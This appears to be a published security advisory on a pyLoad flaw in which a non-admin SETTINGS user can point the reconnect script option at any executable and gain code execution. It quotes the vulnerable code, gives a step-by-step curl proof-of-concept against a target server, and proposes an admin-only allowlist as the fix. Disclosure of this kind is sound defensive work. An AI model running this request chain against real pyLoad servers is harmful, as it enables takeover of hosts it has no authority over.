| Package | Affected versions | Patched versions |
|---|---|---|
| pyload-ng | ≥ 0.4.0, ≤ 0.5.0b3.dev96 | |
| pyload-ng | ≥ 0.5.0a5.dev528, < 0.5.0b3.dev97 | 0.5.0b3.dev97 |
| pyload | ≥ 0.4, ≤ 0.4.20 |
The set_config_value() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in set_config_value() is a hardcoded check for general.storage_folder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.
The vulnerability chain spans two components:
1. Unrestricted config write — src/pyload/core/api/__init__.py:210-243
@permission(Perms.SETTINGS)
@post
def set_config_value(self, category: str, option: str, value: Any, section: str = "core") -> None:
self.pyload.addon_manager.dispatch_event(
"config_changed", category, option, value, section
)
if section == "core":
if category == "general" and option == "storage_folder":
# Forbid setting the download folder inside dangerous locations
# ... validation only for storage_folder ...
return
self.pyload.config.set(category, option, value) # No validation for any other option
The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storage_folder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.
2. Arbitrary script execution — src/pyload/core/managers/thread_manager.py:157-199
def try_reconnect(self):
if not (
self.pyload.config.get("reconnect", "enabled")
and self.pyload.api.is_time_reconnect()
):
return False
# ... checks if active downloads want reconnect ...
reconnect_script = self.pyload.config.get("reconnect", "script")
if not os.path.isfile(reconnect_script):
self.pyload.config.set("reconnect", "enabled", False)
self.pyload.log.warning(self._("Reconnect script not found!"))
return
# ... reconnect logic ...
try:
subprocess.run(reconnect_script) # Executes attacker-controlled path
except Exception:
# ...
The reconnect_script value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.
3. Attacker also controls timing via same SETTINGS permission
The attacker can set reconnect.enabled=True, reconnect.start_time, and reconnect.end_time through the same set_config_value() endpoint to control when execution occurs. toggle_reconnect() at line 321 requires only Perms.STATUS — an even lower privilege.
4. Additional privilege escalation via config access
Beyond RCE, the same unrestricted config write allows SETTINGS users to:
proxy.username/proxy.password) in plaintext via get_config()log.syslog_host/log.syslog_port)webui.use_ssl=False), rebind to 0.0.0.0 (webui.host)Step 1: Set reconnect script to an attacker-controlled executable
Via API:
# Authenticate and get session (as user with SETTINGS permission)
curl -c cookies.txt -X POST 'http://target:8000/api/login' \
-d 'username=settingsuser&password=pass123'
# Set reconnect script to a known executable on the system
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=script&value=/tmp/exploit.sh§ion=core'
Via Web UI:
curl -b cookies.txt -X POST 'http://target:8000/json/save_config?category=core' \
-d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
Step 2: Enable reconnect and set timing window
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=enabled&value=True§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=start_time&value=00:00§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/set_config_value' \
-d 'category=reconnect&option=end_time&value=23:59§ion=core'
Step 3: Script executes when thread manager calls try_reconnect()
The thread manager's run() method (called repeatedly by the core loop) invokes try_reconnect(), which calls subprocess.run(reconnect_script) at thread_manager.py:199.
Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.
get_config()Add an allowlist or category-level restriction in set_config_value() that prevents non-admin users from modifying security-critical options:
# In set_config_value(), after the storage_folder check:
ADMIN_ONLY_OPTIONS = {
("reconnect", "script"),
("webui", "host"),
("webui", "use_ssl"),
("webui", "ssl_cert"),
("webui", "ssl_key"),
("log", "syslog_host"),
("log", "syslog_port"),
("proxy", "username"),
("proxy", "password"),
}
if section == "core" and (category, option) in ADMIN_ONLY_OPTIONS:
# Require ADMIN role for security-critical settings
if not self.pyload.api.user_data.get("role") == Role.ADMIN:
raise PermissionError(f"Admin role required to modify {category}.{option}")
Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free